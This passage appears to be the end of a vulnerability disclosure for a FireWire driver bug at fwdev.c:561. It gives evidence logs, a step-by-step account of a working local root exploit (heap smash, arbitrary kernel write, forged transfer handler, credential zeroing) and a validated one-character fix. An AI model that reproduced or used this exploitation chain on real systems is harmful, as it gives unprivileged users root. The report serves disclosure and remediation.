writes /root/df5845.pwned.

Evidence (decisive lines)

run.win.txt and run.root.pwned.txt (uid=0(root) egid=0(wheel)), run.weapon.log (ioctls done ... uid=0; DF5845-CHAIN-WON), run.attack.log (rig trace: S/V verified on the wire, 640-byte arb-write at S-160, V-response dispatch armed), run.dmesg.full.txt (POST-RCV: V state=3 act.hand=stub before dispatch, state=10 resp=90 after - 0x5A is the stub entry marker), run.serial.log (console marker DF5845-CHAIN-WON uid=0), fix_run.dmesg.txt + fix_run.summary.txt (fixed kernel A/B: S TXDONE shows the REAL 4096-byte recv buffer, no smash, zero CHAIN-WON, zero panics, uid stays 1002)

PoC changes

Seed sketched a 2048-byte smash plus slab grooming toward an ops-table victim. What actually worked is surgical: a 44-byte in-object smash (send.payload NULL, send.pay_len 0, recv.payload = chunk-aligned canary 160 bytes below S, budget 1024), the peer response write through stock fw_rcv_copy as the arbitrary write (self-healing S so every drain path is legal), a forged adjacent fw_xfer whose act.hand dispatches an in-kernel-heap pfindn-based stub (no SMEP/SMAP dependency), gate-verified LIFO shaping, an always-respond fix-up for safe retries, and marker bytes in the stub for kernel-side dispatch proof.

Verified recommended fix

Drop the address-of operator at fwdev.c:561 so the copy targets the payload buffer, and bound pay_len by sizeof(asyreq->data) per DF-2296.

Verdict

Weaponized end to end on the verbatim-interposition harness kernel (stock fwdev.o/firewire.o binaries): an unprivileged operator-group user (uid 1002 opuser) converts the fwdev.c:561 address-of-pointer bcopy into an arbitrary kernel heap write (640 controlled bytes via stock fw_rcv_copy through the smashed recv.payload), forges the adjacent parked fw_xfer V (state FWXF_SENT, act.hand pointing at an in-kernel-heap ring0 stub), and dispatches it with a second peer response so stock fw_xfer_done calls the stub, which walks pfindn to the weapon p_ucred and zeroes cr_uid/cr_ruid/cr_svuid and groups. Result: uid=0 euid=0, root shell exec proof, file written inside /root, guest alive with no panic on the winning path. Fix validated A/B on the same rig: with the one-character ampersand drop plus the DF-2296 pay_len bound the identical weapon and packets no longer convert (uid stays 1002, zero panics, both ioctls complete through the legitimate path).